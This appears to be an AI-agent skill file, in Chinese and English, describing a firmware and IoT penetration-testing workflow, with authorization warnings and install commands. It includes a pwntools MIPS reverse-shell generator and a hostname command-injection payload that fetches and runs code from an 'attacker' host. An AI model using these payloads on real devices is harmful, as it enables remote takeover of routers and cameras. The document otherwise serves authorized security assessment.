firmware-pentest – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

固件 / IoT 渗透链 (Firmware Pentest)

When to Use

• Assessing device firmware within an authorized engagement.
• Building an emulated environment for repeatable firmware analysis.

适用范围

下列任务进入本 skill：

1. 拿到一份固件文件（.bin / .img / .trx / .chk / OTA zip），需要从零到 RCE

2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞

3. 加密/打包固件，需要找 bootloader 解密例程或硬件 dump

4. 需要在不接触硬件的情况下跑起来（QEMU 全系统仿真 / Firmadyne / FAT）

5. 对仿真起来的服务做 fuzz（AFL++ qemu mode / boofuzz）

6. 硬件接口接入（UART / JTAG / SPI flash dump）

与其他 skill 分工

| 场景 | 用什么 |

|------|--------|

| 从零拿到固件，全链路走 FSTM | 本 skill |

| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |

| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |

| 硬件接口（UART/JTAG/SPI）实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |

| APK / Android 固件（含 boot.img） | apk-reverse/（先剥 boot.img 再用本 skill） |

| 跨版本固件符号迁移 | binary-diff/ |

隔离、工具与证据边界

先只读记录固件来源、型号、版本、SHA256 和副本；解析未知镜像也可能利用提取器漏洞。使用已审查固定版本，在可销毁 VM 内以非 root 优先运行，限制磁盘/递归/CPU/内存/时间，检查路径穿越与符号链接；不要挂载未知文件系统到宿主内核。QEMU user/chroot 不是安全边界。

外部工具、save_response.py、patterns-hardware.md、tool-index/RULES 并未随包提供；缺失时停止对应路径，不自动下载或运行同名文件。安装示例仅供独立审查，不是自动安装授权。硬件读写须确认芯片电压/引脚、断电、无反向供电和正确设备；不执行写 flash、故障注入或生产设备操作。密钥/凭据留在受控证据中，最小化展示；openssl -K 参数会暴露在进程列表，敏感解密应使用审查过的安全输入实现。

下面链路并非每项任务都必须执行：静态结论不能冒充运行结果，仿真结果不等同真机，CVE 字符串命中不证明适用。只执行获授权阶段，未执行项标为未验证；示例 CVE/百分比/性能和成功故事均非本次测试证据。

核心原理

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断：

• 提取失败不等于固件加密，先确认镜像格式与工具支持，按证据选择解析器并限制重试，勿无差别全部运行
• EMBA 可生成候选发现，效率与覆盖依固件和配置变化；需手工验证
• 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、/dev/ 节点缺失
• ARM / MIPS payload 必须区分大小端（mipsel vs mipseb），别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集（Information Gathering）

收集型号、芯片、SDK、已公开 CVE。

# FCC ID 查询（美区设备）
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。

Stage 2 — 获取固件（Obtaining Firmware）

四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入（USB-TTL，常用波特率 57600 / 115200）
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件（Analyzing Firmware）

不解压先看头部、熵、字符串、可识别签名。

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图，高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统（Extracting Filesystem）

详见 references/extraction-methodology.md。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统（Filesystem Analysis）

EMBA 一键扫，详见 references/emba-automated-analysis.md。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补：

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行（Emulating Firmware）

详见 references/emulation-and-fuzz.md。

# 用户态：跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统：FAT（Firmadyne 封装版）
sudo fat.py firmware.bin

Stage 7 — 动态分析（Dynamic Analysis）

仿真起来后挂调试器、抓流量、跑 fuzz。

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析（Runtime Analysis）

在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用（Exploitation）

写 PoC，生成 payload，落地 root shell。

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1：普通路由器固件全链路（TP-Link / 小米路由器 / OpenWrt 衍生）

固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）

Step 2 获取固件
  - 官网下载 .bin，sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95（正常压缩）

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
  - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1，Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

场景 2：加密固件（找 bootloader 解密例程）

固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill（IDA / Ghidra）
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC，key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

注意事项

• 大小端：MIPS 路由器常见 mipsel（小端，MT 系列）/ mipseb（大端，Broadcom 系列），qemu binary 别用错
• NVRAM：仿真起来 httpd 立即崩 → 可能是 NVRAM 或其他 ABI/依赖问题，须根据错误证据判断，Firmadyne 有 libnvram hook，FAT 默认带
• EMBA 不是银弹：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件
• AFL++ qemu mode 慢：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍
• 真机操作前先 dump：物理设备砖前必备整片 flash dump，用 flashrom / ch341a / minipro
• 法律边界：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权
• field-journal 回写：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用

---

按需自举（On-Demand Bootstrap）

工具清单

| 工具 | 用途 | 安装须单独审查授权 |

|------|------|---------|

| binwalk v3 | 主提取（Rust 重写版） | ✓ |

| binwalk v2 | 兼容老插件 | ✓ |

| unblob | 兜底提取 | ✓ |

| jefferson | JFFS2 提取 | ✓ |

| ubi_reader | UBI / UBIFS 提取 | ✓ |

| EMBA | 自动化分析框架 | ✓ |

| Firmadyne | 全系统仿真 | ✓ |

| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |

| qemu-user-static | 用户态仿真 | ✓ |

| qemu-system-* | 全系统仿真 | ✓ |

| AFL++ | 模糊测试 | ✓ |

| pwntools | 漏洞利用脚本 | ✓ |

| flashrom | SPI flash 读写 | ✓ |

| picocom | UART 串口 | ✓ |

安装命令

# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3（Rust 版）
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows 用户

固件渗透链强依赖 Linux 工具，建议：

• WSL2 Ubuntu 22.04（足够大多数场景）
• 或独立 Kali / Ubuntu 虚拟机
• EMBA 必须 Linux，Firmadyn

… (full content is in the download package)